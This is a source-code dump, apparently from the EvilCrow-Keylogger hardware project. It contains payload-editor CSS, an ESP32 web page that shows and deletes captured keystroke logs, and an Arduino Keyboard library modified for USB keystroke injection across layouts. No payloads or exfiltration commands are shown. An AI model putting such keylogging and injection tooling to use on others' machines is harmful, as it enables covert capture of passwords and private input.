    width: 100%;
    margin-top: 10px;
}

.payload-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 15px;
    width: 100%;
}

/* Button container */
.header-buttons {
    display: flex;
    gap: 10px;
}

.payload-header strong {
    flex-grow: 1; /* Allow the text to take remaining space */
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}

.select-os-btn:hover {
    background: linear-gradient(135deg, #55616F, #73879F);
}

.status-indicator {
    display: inline-block;
    width: 12px;
    height: 12px;
    border-radius: 50%;
    margin-left: 8px;
    vertical-align: middle;
}

.status-online {
    background-color: var(--success);
    box-shadow: 0 0 8px var(--success);
}

.status-offline {
    background-color: var(--error);
    box-shadow: 0 0 8px var(--error);
}

/* Page title indicators */
.rf-logo::after {
    content: '';
    display: inline-block;
    width: 10px;
    height: 10px;
    border-radius: 50%;
    margin-left: 12px;
    vertical-align: middle;
}

.rf-logo.online::after {
    background-color: var(--success);
    box-shadow: 0 0 6px var(--success);
}

.rf-logo.offline::after {
    background-color: var(--error);
    box-shadow: 0 0 6px var(--error);
}

@supports (-webkit-touch-callout: none) {
  .rf-logo {
    -webkit-text-stroke: 0.45px transparent; /* Safari anti-flicker hack */
  }
}

@media (max-width: 480px) {
    .select-os-btn {
      width: 100px;
      min-width: 100px;
      max-width: 100px;
      padding: 6px 4px;
      font-size: 11px;
    }
}

.payload-list-container {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
  gap: 15px; /* Increased gap */
  margin: 15px 0;
  position: relative;
  z-index: 1;
}

.button-container button, .button-container-os button {
  width: 100%;
}

.stat-group {
  flex: 1 1 100%;
}

#validationStatus {
    font-size: 0.7em;
    display: inline-block;
    vertical-align: middle;
}

@media (max-width: 480px) {
    #validationStatus {
        font-size: 0.6em;  /* Even smaller on mobile */
    }
}

.validation-ok {
    color: var(--success);
}

.validation-error {
    color: var(--error);
}

.payload-editor-container {
    display: flex;
    position: relative;
    height: 20em;
    background-color: rgba(10, 10, 10, 0.9);
    border: 1px solid var(--primary);
    border-radius: 3px;
    overflow: hidden;
}

.payload-editor-container {
    display: flex;
    position: relative;
    height: 20em;
    background-color: rgba(10, 10, 10, 0.9);
    border: 1px solid var(--primary);
    border-radius: 3px;
    overflow: hidden;
}

.line-numbers {
    width: 30px;
    padding: 12px 5px 5px 10px;
    background-color: rgba(5, 5, 8, 0.7);
    color: #666;
    font-family: 'Courier New', monospace;
    font-size: 0.8em;
    text-align: right;
    user-select: none;
    overflow-y: scroll;
    -ms-overflow-style: none;
    scrollbar-width: none;
    border: none;
    line-height: 22px;
    height: 100%;
    box-sizing: border-box;
}

#livePayloadInput {
    flex: 1;
    border: none;
    border-radius: 0 3px 3px 0;
    padding: 12px;
    background-color: transparent;
    color: var(--secondary);
    line-height: 22px;
    resize: none;
    white-space: pre;
    overflow-x: auto;
    overflow-y: auto;
    height: 100%;
    box-sizing: border-box;
    font-family: 'Courier New', monospace;
    font-size: 0.95em;
}

/* Mobile styles remain exactly the same */
@media (max-width: 768px) {
    .payload-list-container {
      transition: filter 0.3s ease;
    }
    .modal-open .payload-list-container {
      filter: blur(2px);
      opacity: 0.7;
    }
    .payload-editor-container {
        height: 15em;
    }
    
    .line-numbers, #livePayloadInput {
        font-size: 14px;
        line-height: 1.4em;
    }
    
    .line-numbers {
        width: 25px;
        padding: 12px 3px 8px 5px;
    }
}

.line-numbers::-webkit-scrollbar {
    display: none;
}

.autocomplete-suggestion {
    position: absolute;
    color: var(--primary);
    pointer-events: none;
    font-family: 'Courier New', monospace;
    background-color: rgba(0, 0, 0, 0.9);
    padding: 2px 6px;
    border-radius: 3px;
    border: 1px solid var(--secondary);
    box-shadow: 0 0 5px rgba(0, 242, 255, 0.5);
    z-index: 1000;
    white-space: pre;
    font-weight: bold;
}

/* Command Reference Styles */
.command-reference, .keys-reference {
    background: rgba(10, 10, 18, 0.8);
    border: 1px solid var(--primary);
    border-radius: 5px;
    margin: 20px 0;
    overflow: hidden;
}

.command-reference-toggle, .keys-reference-toggle {
    padding: 15px;
    cursor: pointer;
    background: rgba(0, 0, 0, 0.3);
    color: var(--primary);
    font-weight: bold;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.command-reference-toggle:hover, .keys-reference-toggle:hover {
    background: rgba(0, 242, 255, 0.1);
}

.command-table-container, .keys-table-container {
    padding: 0 15px 15px;
    max-height: 300px;
    overflow-y: auto;
}

/* OS selector*/
.styled-select {
  background-color: rgba(10, 10, 10, 0.9);
  border: 1px solid var(--primary);
  color: var(--light);
  padding: 8px 12px;
  border-radius: 3px;
  width: 100%;
  font-family: 'Courier New', monospace;
  font-size: 16px;
  margin-bottom: 12px;
  transition: all 0.3s;
  box-sizing: border-box;

  /* Eliminar apariencia nativa */
  appearance: none;
  -webkit-appearance: none;
  -moz-appearance: none;

  /* Ícono de flecha */
  background-image: url("data:image/svg+xml,%3Csvg fill='%2300f2ff' height='24' viewBox='0 0 24 24' width='24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M7 10l5 5 5-5z'/%3E%3C/svg%3E");
  background-repeat: no-repeat;
  background-position: right 12px center;
  background-size: 16px 16px;
  padding-right: 36px; /* Espacio para flecha */
}

.styled-select:focus {
  outline: none;
  border-color: var(--secondary);
  box-shadow: 0 0 10px rgba(0, 255, 136, 0.3);
}

.section-header {
  font-size: 1.2em;
  color: var(--primary);
  margin: 20px 0 10px 0;
  padding-bottom: 5px;
  border-bottom: none;
  position: relative;
  text-transform: uppercase;
  letter-spacing: 1px;
  font-weight: bold;
}

.section-header::after {
  content: '';
  position: absolute;
  bottom: 0;
  left: 0;
  width: 100%;
  height: 1px;
  background: linear-gradient(90deg, transparent, var(--primary), transparent);
}

.page-loading::before {
    content: "";
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(5, 5, 8, 0.9);
    z-index: 9999;
    -webkit-backdrop-filter: blur(2px);
    backdrop-filter: blur(2px);
}

.page-loading::after {
    content: "LOADING...";
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    color: var(--primary);
    font-family: 'Courier New', monospace;
    font-size: 1.2em;
    font-weight: bold;
    text-transform: uppercase;
    letter-spacing: 2px;
    text-shadow: 0 0 8px var(--primary);
    z-index: 10000;
    animation: pulse 1.5s infinite alternate;
}

@keyframes pulse {
    from { opacity: 0.7; text-shadow: 0 0 5px var(--primary); }
    to { opacity: 1; text-shadow: 0 0 15px var(--primary), 0 0 20px var(--secondary); }
}
/* iOS-specific touch improvements */
@media (hover: none) and (pointer: coarse) {
    #menu a {
        -webkit-tap-highlight-color: transparent;
        touch-action: manipulation;
    }

    body {
        -webkit-overflow-scrolling: touch;
    }
}
)=====";

================================================
FILE: code/ESP32/viewlog.h
================================================
const char ViewLog[] PROGMEM = R"=====(
<!DOCTYPE HTML>
<html>
<head>
    <title>EvilCrow-Keylogger</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <link rel="stylesheet" href="style.css">
    <script src="javascript.js"></script>
    <style>
        .view-container {
            margin: 20px auto;
            max-width: 900px;
        }

        .logo-with-status {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
        }

        #logsContainer {
            width: 100%;
            height: 60vh;
            background-color: rgba(0,0,0,0.8);
            color: var(--secondary, #00f2ff);
            border: 1px solid var(--primary, #00f2ff);
            border-radius: 5px;
            padding: 10px;
            overflow: auto;
            font-family: monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
            scrollbar-width: thin; 
            scrollbar-color: var(--primary, #00f2ff) rgba(0,0,0,0.5);
        }

        #logsContainer::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }

        #logsContainer::-webkit-scrollbar-track {
            background: rgba(0,0,0,0.5);
            border-radius: 4px;
        }

        #logsContainer::-webkit-scrollbar-thumb {
            background-color: var(--primary, #00f2ff);
            border-radius: 4px;
            border: 2px solid rgba(0,0,0,0.5);
        }

        .button-container {
            display: flex;
            justify-content: flex-start;
            gap: 10px;
            margin-top: 10px;
        }

        .button-container button {
            padding: 10px 20px;
            font-size: 1em;
            border: none;
            border-radius: 5px;
            background: linear-gradient(135deg, var(--error, #cc0022), #ff4444);
            color: #fff;
            cursor: pointer;
        }

        .button-container button:hover {
            opacity: 0.85;
        }
    </style>
</head>
<body>
    <div id="global-toast" class="toast-container"></div>

    <nav id="menu">
        <input type="checkbox" id="responsive-menu">
        <label for="responsive-menu"></label>
        <ul>
            <li><a href="/">Home</a></li>
            <li><a href="/viewlog">Log Viewer</a></li>
            <li><a href="/config">Config</a></li>
        </ul>
    </nav>

    <div class="logo-with-status">
        <div class="keylogger-logo">Log Viewer</div>
        <span class="status-indicator status-offline"></span>
    </div>

    <div class="view-container">
        <div id="logsContainer">
            <div id="logsText">Loading log...</div>
        </div>

        <div class="button-container">
            <button type="button" onclick="deleteLog()">Delete Log</button>
        </div>
    </div>

    <script>
        async function loadLogs() {
            try {
                const response = await fetch('/logs');
                if (!response.ok) throw new Error('Failed to fetch logs');
                const text = await response.text();
                const container = document.getElementById('logsContainer');
                const logsText = document.getElementById('logsText');
                const selection = window.getSelection();
                const selectedText = selection.toString();
                if (logsText.textContent !== text) {
                    logsText.textContent = text;
                    container.scrollTop = container.scrollHeight;
                    if (selectedText) {
                        const range = document.createRange();
                        range.selectNodeContents(logsText);
                        selection.removeAllRanges();
                        selection.addRange(range);
                    }
                }
            } catch (error) {
                document.getElementById('logsText').textContent = 'Error loading logs: ' + error;
                console.error(error);
            }
        }

        function deleteLog() {
            if (!confirm("Are you sure you want to delete the log?")) return;

            fetch('/delete', { method: 'POST' })
                .then(response => {
                    if (!response.ok) throw new Error('Failed to delete log');
                    showMessage('success', 'Log deleted successfully');
                    document.getElementById('logsText').textContent = '';
                })
                .catch(error => {
                    showMessage('error', 'Error deleting log');
                    console.error(error);
                });
        }

        function showMessage(type, text) {
            const container = document.getElementById('global-toast');
            const toast = document.createElement('div');
            toast.className = `toast-message ${type}`;
            toast.textContent = text;
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 4000);
        }

        function checkConnection() {
            fetch('/connectioncheck')
                .then(response => response.json())
                .then(data => {
                    const indicator = document.querySelector('.status-indicator');
                    if (indicator) {
                        indicator.classList.remove('status-offline', 'status-online');
                        if (data.status === 'ok') {
                            indicator.classList.add('status-online');
                        } else {
                            indicator.classList.add('status-offline');
                        }
                    }
                })
                .catch(error => {
                    const indicator = document.querySelector('.status-indicator');
                    if (indicator) {
                        indicator.classList.remove('status-offline', 'status-online');
                        indicator.classList.add('status-offline');
                    }
                });
        }

        document.addEventListener('DOMContentLoaded', () => {
            loadLogs();
            setInterval(loadLogs, 5000);
            
            checkConnection();
            setInterval(checkConnection, 5000);
            
            const menuLinks = document.querySelectorAll('#menu a');
            const responsiveMenu = document.getElementById('responsive-menu');
            menuLinks.forEach(link => {
                link.addEventListener('click', function() {
                    if (window.innerWidth < 768) {
                        responsiveMenu.checked = false;
                    }
                });
            });
        });
    </script>
</body>
</html>
)=====";


================================================
FILE: libraries/Keyboard/Readme.md
================================================
Arduino Keyboard library with multiple layout support
=====================================================
 
Based on Arduino Keyboard library 1.0.1

This library allows an Arduino board with USB capabilites to act as a Keyboard.

For more information about this library please visit http://www.arduino.cc/en/Reference/Keyboard

Modified by Ernesto Sanchez to support multiple keyboard layout 

Supported layouts:
* be_be
* cz_cz
* da_dk
* de_de
* en_us (default)
* es_es
* fi_fi
* fr_fr
* it_it
* pt_pt
* tr_tr

__NOTE:__ Only en_us and es_es are tested at june 2017. 

Download and installation
=========================
- Click "Clone or download" -> "Download ZIP"
- Unzip downloaded file in Arduino/libraries/ directory

Use
===
To configure the keyboard layout it just add #define kbd_lang after #include <Keyboard.h>

Example:
```
#define kbd_es_es
#include <Keyboard.h>
```

You can use:
* kbd_be_be
* kbd_cz_cz
* kbd_da_dk
* kbd_de_de
* kbd_en_us
* kbd_es_es
* kbd_fi_fi
* kbd_fr_fr
* kbd_it_it
* kbd_pt_pt
* kbd_tr_tr

If none is especified en_us is used by default.

Version History
===============
```
(Date format: DD/MM/YYYY)
* 8/7/2017  Fix backslash problem in es_es.h
* 14/6/2017 First commit

```

TO DO
=====
- Test all layouts
- Implement a solution for extended ascii characters


Contact
=======
Open an issue, ask me on twitter to [@ernesto_xload](http://www.twitter.com/ernesto_xload/) or visit www.sanchezpano.info


================================================
FILE: libraries/Keyboard/keywords.txt
================================================
#######################################
# Syntax Coloring Map For Keyboard
#######################################

#######################################
# Datatypes (KEYWORD1)
#######################################

Keyboard	KEYWORD1

#######################################
# Methods and Functions (KEYWORD2)
#######################################

begin	KEYWORD2
write	KEYWORD2
press	KEYWORD2
release	KEYWORD2
releaseAll	KEYWORD2

#######################################
# Constants (LITERAL1)
#######################################



================================================
FILE: libraries/Keyboard/library.properties
================================================
name=Keyboard
version=1.0.1
author=Arduino
maintainer=Ernesto Sanchez
sentence=Allows an Arduino/Genuino board with USB capabilites to act as a Keyboard.
paragraph=This library plugs on the HID library. It can be used with or without other HID-based libraries (Mouse, Gamepad etc) Modified by Ernesto Sanchez to add keyboard layout support
category=Device Control
url=http://www.arduino.cc/en/Reference/Keyboard
architectures=*


================================================
FILE: libraries/Keyboard/src/Keyboard.cpp
================================================
/*
  Keyboard.cpp

  Copyright (c) 2015, Arduino LLC
  Original code (pre-library): Copyright (c) 2011, Peter Barrett

  This library is free software; you can redistribute it and/or
  modify it under the terms of the GNU Lesser General Public
  License as published by the Free Software Foundation; either
  version 2.1 of the License, or (at your option) any later version.

  This library is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  Lesser General Public License for more details.

  You should have received a copy of the GNU Lesser General Public
  License along with this library; if not, write to the Free Software
  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include "Keyboard.h"

#if defined(_USING_HID)

#define kbd_en_us

/*
#define kbd_es_es
*/

#ifdef kbd_be_be
#include "be_be.h"
#endif
#ifdef kbd_cz_cz
#include "cz_cz.h"
#endif
#ifdef kbd_da_dk
#include "da_dk.h"
#endif
#ifdef kbd_de_de
#include "de_de.h"
#endif
#ifdef kbd_es_es
#include "es_es.h"
#endif
#ifdef kbd_fi_fi
#include "fi_fi.h"
#endif
#ifdef kbd_fr_fr
#include "fr_fr.h"
#endif
#ifdef kbd_it_it
#include "it_it.h"
#endif
#ifdef kbd_pt_pt
#include "pt_pt.h"
#endif
#ifdef kbd_tr_tr
#include "tr_tr.h"
#endif
#ifndef _kbd_lang
#include "en_us.h"
#endif



//================================================================================
//================================================================================
//	Keyboard

static const uint8_t _hidReportDescriptor[] PROGMEM = {

  //  Keyboard
    0x05, 0x01,                    // USAGE_PAGE (Generic Desktop)  // 47
    0x09, 0x06,                    // USAGE (Keyboard)
    0xa1, 0x01,                    // COLLECTION (Application)
    0x85, 0x02,                    //   REPORT_ID (2)
    0x05, 0x07,                    //   USAGE_PAGE (Keyboard)
   
  0x19, 0xe0,                    //   USAGE_MINIMUM (Keyboard LeftControl)
    0x29, 0xe7,                    //   USAGE_MAXIMUM (Keyboard Right GUI)
    0x15, 0x00,                    //   LOGICAL_MINIMUM (0)
    0x25, 0x01,                    //   LOGICAL_MAXIMUM (1)
    0x75, 0x01,                    //   REPORT_SIZE (1)
    
  0x95, 0x08,                    //   REPORT_COUNT (8)
    0x81, 0x02,                    //   INPUT (Data,Var,Abs)
    0x95, 0x01,                    //   REPORT_COUNT (1)
    0x75, 0x08,                    //   REPORT_SIZE (8)
    0x81, 0x03,                    //   INPUT (Cnst,Var,Abs)
    
  0x95, 0x06,                    //   REPORT_COUNT (6)
    0x75, 0x08,                    //   REPORT_SIZE (8)
    0x15, 0x00,                    //   LOGICAL_MINIMUM (0)
    0x25, 0x65,                    //   LOGICAL_MAXIMUM (101)
    0x05, 0x07,                    //   USAGE_PAGE (Keyboard)
    
  0x19, 0x00,                    //   USAGE_MINIMUM (Reserved (no event indicated))
    0x29, 0x65,                    //   USAGE_MAXIMUM (Keyboard Application)
    0x81, 0x00,                    //   INPUT (Data,Ary,Abs)
    0xc0,                          // END_COLLECTION
};

Keyboard_::Keyboard_(void) 
{
	static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor));
	HID().AppendDescriptor(&node);
}

void Keyboard_::begin(void)
{
}

void Keyboard_::end(void)
{
}

void Keyboard_::sendReport(KeyReport* keys)
{
	HID().SendReport(2,keys,sizeof(KeyReport));
}

/*
extern
const uint8_t _asciimap[256] PROGMEM;

#define SHIFT 0x80
#define ALTGR 0x40
const uint8_t _asciimap[256] =
{
  0x00,             // NUL
  0x00,             // SOH
  0x00,             // STX
  0x00,             // ETX
  0x00,             // EOT
  0x00,             // ENQ
  0x00,             // ACK
  0x00,             // BEL
  0x2a,      // BS  Backspace
  0x2b,      // TAB  Tab
  0x28,      // LF  Enter
  0x00,             // VT
  0x00,             // FF
  0x00,             // CR
  0x00,             // SO
  0x00,             // SI
  0x00,             // DEL
  0x00,             // DC1
  0x00,             // DC2
  0x00,             // DC3
  0x00,             // DC4
  0x00,             // NAK
  0x00,             // SYN
  0x00,             // ETB
  0x00,             // CAN
  0x00,             // EM
  0x00,             // SUB
  0x00,             // ESC
  0x00,             // FS
  0x00,             // GS
  0x00,             // RS
  0x00,             // US
  0x2c,          //  ' ' (space)
  0x1e|SHIFT,    // !
  0x1f|SHIFT,    // "
  0x20|ALTGR,    // #
  0x21|SHIFT,    // $
  0x22|SHIFT,    // %
  0x23|SHIFT,    // &
  0x2d,          // '
  0x25|SHIFT,    // (
  0x26|SHIFT,    // )
  0x30|SHIFT,    // *
  0x30,          // +
  0x36,          // ,
  0x38,          // -
  0x37,          // .
  0x24|SHIFT,    // /
  0x27,          // 0
  0x1e,          // 1
  0x1f,          // 2
  0x20,          // 3
  0x21,          // 4
  0x22,          // 5
  0x23,          // 6
  0x24,          // 7
  0x25,          // 8
  0x26,          // 9
  0x37|SHIFT,      // :
  0x36|SHIFT,      // ;
  0x03,            // < //KEY_NON_US_100
  0x27|SHIFT,      // =
  0x03|SHIFT,      // > //KEY_NON_US_100 + SHIFT
  0x2d|SHIFT,      // ?
  0x1f|ALTGR,      // @
  0x04|SHIFT,      // A
  0x05|SHIFT,      // B
  0x06|SHIFT,      // C
  0x07|SHIFT,      // D
  0x08|SHIFT,      // E
  0x09|SHIFT,      // F
  0x0a|SHIFT,      // G
  0x0b|SHIFT,      // H
  0x0c|SHIFT,      // I
  0x0d|SHIFT,      // J
  0x0e|SHIFT,      // K
  0x0f|SHIFT,      // L
  0x10|SHIFT,      // M
  0x11|SHIFT,      // N
  0x12|SHIFT,      // O
  0x13|SHIFT,      // P
  0x14|SHIFT,      // Q
  0x15|SHIFT,      // R
  0x16|SHIFT,      // S
  0x17|SHIFT,      // T
  0x18|SHIFT,      // U
  0x19|SHIFT,      // V
  0x1a|SHIFT,      // W
  0x1b|SHIFT,      // X
  0x1c|SHIFT,      // Y
  0x1d|SHIFT,      // Z
  0x2f|ALTGR,      // [
  0x35,          // bslash
  0x30|ALTGR,      // ]
  0x2f|SHIFT,    // ^
  0x38|SHIFT,    // _
  0x2f, 	 // `
  0x04,          // a
  0x05,          // b
  0x06,          // c
  0x07,          // d
  0x08,          // e
  0x09,          // f
  0x0a,          // g
  0x0b,          // h
  0x0c,          // i
  0x0d,          // j
  0x0e,          // k
  0x0f,          // l
  0x10,          // m
  0x11,          // n
  0x12,          // o
  0x13,          // p
  0x14,          // q
  0x15,          // r
  0x16,          // s
  0x17,          // t
  0x18,          // u
  0x19,          // v
  0x1a,          // w
  0x1b,          // x
  0x1c,          // y
  0x1d,          // z
  0x34|ALTGR,    // {
  0x1e|ALTGR,    // |
  0x32|ALTGR,    // }
  0x21|ALTGR,    // ~
  0x00,        // DEL
  0x00,             // Ç Start extended ASCII
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,             // ç
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x33,             // ñ
  0x33|SHIFT,       // Ñ
  0x00,
  0x00,
  0x2e|SHIFT,       // ¿
  0x00,
  0x00,
  0x00,
  0x00,
  0x2e,             // ¡
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,
  0x00,

};



// Init var         
bool _altGrMap[128];
bool _altFine = false;

// Individually define all needed char
void initAltGr() {
  _altFine = true;

  _altGrMap[126] = true; // ~
  _altGrMap[123] = true; // {
  _altGrMap[91] = true;  // [
  _altGrMap[93] = true;  // ]
  _altGrMap[125] = true; // }
  _altGrMap[92] = true;  // bslash
  _altGrMap[124] = true; // |
  _altGrMap[64] = true;  // @
  _altGrMap[35] = true; // #
}*/



uint8_t USBPutChar(uint8_t c);

// press() adds the specified key (printing, non-printing, or modifier)
// to the persistent key report and sends the report.  Because of the way 
// USB HID works, the host acts like the key remains pressed until we 
// call release(), releaseAll(), or otherwise clear the report and resend.
size_t Keyboard_::press(uint8_t k) 
{
	uint8_t i;

	if(k>=0xB0 && k<=0xDA){			//it's a non-printing key
		if(k>=0xB5 && k<=0xBE){		//0xB5-0xBE reserved for special non printing keys asigned manually
			if(k==0xB5) k=0x65;	//0xB5 ==> 0x76 (MENU key)
			if(k==0xB6) k=0x46;	//0xB6 ==> 0x46 (PRINT Screen key)
		}
		else{
			k = k - 136;
		}
	}
	else {
	if(k>=0x80 && k<=0x87){			//it's a modifier
		_keyReport.modifiers |= (1<<(k-128));
		k = 0;
	}
	else{					//it's a printable key

	k = pgm_read_byte(_asciimap + k);

	if (k & 0x80) {				// it's a capital letter or other character reached with shift
		_keyReport.modifiers |= 0x02;	// the left shift modifier
		k &= 0x7F;
	}
	if (k & 0x40) {				// altgr modifier (RIGHT_ALT)
		_keyReport.modifiers |= 0x40;	// the left shift modifier
		k &= 0x3F;
	}
	if (k == 0x03) { // special case 0x64
		k = 0x64;
	}
	}
	}

	// Add k to the key report only if it's not already present
	// and if there is an empty slot.
	if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&
		_keyReport.keys[2] != k && _keyReport.keys[3] != k &&
		_keyReport.keys[4] != k && _keyReport.keys[5] != k) {
		
		for (i=0; i<6; i++) {
			if (_keyReport.keys[i] == 0x00) {
				_keyReport.keys[i] = k;
				break;
			}
		}
		if (i == 6) {
			setWriteError();
			return 0;
		}	
	}
	sendReport(&_keyReport);
	return 1;
}


// Joel
size_t Keyboard_::rawpress(uint8_t k, uint8_t rawmodifiers) //
{
	uint8_t i;

/*
	if(k>=0xB0 && k<=0xDA){			//it's a non-printing key
		if(k>=0xB5 && k<=0xBE){		//0xB5-0xBE reserved for special non printing keys asigned manually
			if(k==0xB5) k=0x65;	//0xB5 ==> 0x76 (MENU key)
			if(k==0xB6) k=0x46;	//0xB6 ==> 0x46 (PRINT Screen key)
		}
		else{
			k = k - 136;
		}
	}
	else {
	if(k>=0x80 && k<=0x87){			//it's a modifier
		_keyReport.modifiers |= (1<<(k-128));
		k = 0;
	}
	else{					//it's a printable key

	k = pgm_read_byte(_asciimap + k);

	if (k & 0x80) {				// it's a capital letter or other character reached with shift
		_keyReport.modifiers |= 0x02;	// the left shift modifier
		k &= 0x7F;
	}
	if (k & 0x40) {				// altgr modifier (RIGHT_ALT)
		_keyReport.modifiers |= 0x40;	// the left shift modifier
		k &= 0x3F;
	}
	if (k == 0x03) { // special case 0x64
		k = 0x64;
	}
	}
	}
*/
	// Add k to the key report only if it's not already present
	// and if there is an empty slot.

	_keyReport.modifiers = rawmodifiers;	

	if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&
		_keyReport.keys[2] != k && _keyReport.keys[3] != k &&
		_keyReport.keys[4] != k && _keyReport.keys[5] != k) {
		
		for (i=0; i<6; i++) {
			if (_keyReport.keys[i] == 0x00) {
				_keyReport.keys[i] = k;
				break;
			}
		}
		if (i == 6) {
			setWriteError();
			return 0;
		}	
	}
	sendReport(&_keyReport);
	return 1;
}

// release() takes the specified key out of the persistent key report and
// sends the report.  This tells the OS the key is no longer pressed and that
// it shouldn't be repeated any more.
size_t Keyboard_::release(uint8_t k)
{
	uint8_t i;

	if(k>=0xB0 && k<=0xDA){			//it's a non-printing key
		if(k>=0xB5 && k<=0xBE){		//0xB5-0xBE reserved for special non printing keys asigned manually
			if(k==0xB5) k=0x65;	//0xB5 ==> 0x76 (MENU key)
			if(k==0xB6) k=0x46;	//0xB6 ==> 0x46 (PRINT Scr key)
		}
		else{
			k = k - 136;
		}
	}
	else {
	if(k>=0x80 && k<=0x87){			//it's a modifier
		_keyReport.modifiers &= ~(1<<(k-128));
		k = 0;
	}
	else{					//it's a printable key

	k = pgm_read_byte(_asciimap + k);

	if (k & 0x80) {					// it's a capital letter or other character reached with shift
		_keyReport.modifiers &= ~(0x02);	// the left shift modifier
		k &= 0x7F;
	}
	if (k & 0x40) {
		_keyReport.modifiers &= ~(0x40);       // the altgr shift modifier
		k &= 0x3F;
	}
	if (k == 0x03) { // special case 0x64
		k = 0x64;
	}

	if (k >= 136) {			// it's a non-printing key (not a modifier)
		k = k - 136;
	}
	}
	}

	// Test the key report to see if k is present.  Clear it if it exists.
	// Check all positions in case the key is present more than once (which it shouldn't be)
	for (i=0; i<6; i++) {
		if (0 != k && _keyReport.keys[i] == k) {
			_keyReport.keys[i] = 0x00;
		}
	}

	sendReport(&_keyReport);
	return 1;
}

//////Joel

size_t Keyboard_::rawrelease(uint8_t k, uint8_t rawmodifiers)
{
	uint8_t i;

/*
	if(k>=0xB0 && k<=0xDA){			//it's a non-printing key
		if(k>=0xB5 && k<=0xBE){		//0xB5-0xBE reserved for special non printing keys asigned manually
			if(k==0xB5) k=0x65;	//0xB5 ==> 0x76 (MENU key)
			if(k==0xB6) k=0x46;	//0xB6 ==> 0x46 (PRINT Scr key)
		}
		else{
			k = k - 136;
		}
	}
	else {
	if(k>=0x80 && k<=0x87){			//it's a modifier
		_keyReport.modifiers &= ~(1<<(k-128));
		k = 0;
	}
	else{					//it's a printable key

	k = pgm_read_byte(_asciimap + k);

	if (k & 0x80) {					// it's a capital letter or other character reached with shift
		_keyReport.modifiers &= ~(0x02);	// the left shift modifier
		k &= 0x7F;
	}
	if (k & 0x40) {
		_keyReport.modifiers &= ~(0x40);       // the altgr shift modifier
		k &= 0x3F;
	}
	if (k == 0x03) { // special case 0x64
		k = 0x64;
	}

	if (k >= 136) {			// it's a non-printing key (not a modifier)
		k = k - 136;
	}
	}
	}
*/

	_keyReport.modifiers = rawmodifiers;

	// Test the key report to see if k is present.  Clear it if it exists.
	// Check all positions in case the key is present more than once (which it shouldn't be)
	for (i=0; i<6; i++) {
		if (0 != k && _keyReport.keys[i] == k) {
			_keyReport.keys[i] = 0x00;
		}
	}

	sendReport(&_keyReport);
	return 1;
}


void Keyboard_::releaseAll(void)
{
	_keyReport.keys[0] = 0;
	_keyReport.keys[1] = 0;	
	_keyReport.keys[2] = 0;
	_keyReport.keys[3] = 0;	
	_keyReport.keys[4] = 0;
	_keyReport.keys[5] = 0;	
	_keyReport.modifiers = 0;
	sendReport(&_keyReport);
}

size_t Keyboard_::write(uint8_t c)
{	
	uint8_t p = press(c);  // Keydown
	release(c);            // Keyup
	return p;              // just return the result of press() since release() almost always returns 1
}

Keyboard_ Keyboard;

#endif


================================================
FILE: libraries/Keyboard/src/Keyboard.h
================================================
/*
  Keyboard.h

  Copyright (c) 2015, Arduino LLC
  Original code (pre-library): Copyright (c) 2011, Peter Barrett

  This library is free software; you can redistribute it and/or
  modify it under the terms of the GNU Lesser General Public
  License as published by the Free Software Foundation; either
  version 2.1 of the License, or (at your option) any later version.

  This library is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  Lesser General Public License for more details.

  You should have received a copy of the GNU Lesser General Public
  License along with this library; if not, write to the Free Software
  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#ifndef KEYBOARD_h
#define KEYBOARD_h

/*
Keyboard layout configuration

You can use:
- kbd_be_be
- kbd_cz_cz
- kbd_da_dk
- kbd_de_de
- kbd_en_us
- kbd_es_es
- kbd_fi_fi
- kbd_fr_fr
- kbd_it_it
- kbd_pt_pt
- kbd_tr_tr

Only es_es and en_us are full-tested.

 */

